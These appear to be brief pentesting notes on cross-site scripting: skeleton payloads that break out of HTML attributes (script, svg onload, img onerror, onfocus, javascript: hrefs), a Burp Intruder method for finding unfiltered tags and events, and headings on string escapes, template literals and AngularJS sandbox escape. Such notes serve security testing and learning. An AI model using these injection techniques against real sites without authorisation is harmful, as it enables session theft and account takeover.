"><script>...</script>
"><svg onload="...">
"><img src=. onerror="...">
//in case brackets are escaped, give onfocus event and focus on self
" autofocus onfocus="..." x="
" onmouseover="..." x="
Anchor href parameter poisoning
href="javascript:'...'"
HTML Tags
Find vulnerable field
Send request to Burp Intruder as following <§[payload]§> to find unfiltered tags
Set the payload to a list of tags (see here) and start the attack
After finding an unfiltered tag set the payload to <[tag]+§[payload]§="alert()">
Set the payload to a list of events (see here) and start the attack
After finding a suitable event the basic payload will be<[tag]+[event]="[js]">
Deliver through IFrame
Deliver with custom tag with autofocus
Javascript Block
Escape from string such as var x = 'input'
Escape from strings with angled brackets encoded
Evade filters
JS Template Literals
JS template strings are declared between backticks and use ${...} notation to evaluate code and inject the result in the string.
To execute code simply inject ${<...>} in the string
AngularJS Sandbox Escape
Sandbox escape by owerwriting the charAt method to join characters instead of evaluoating them one at a time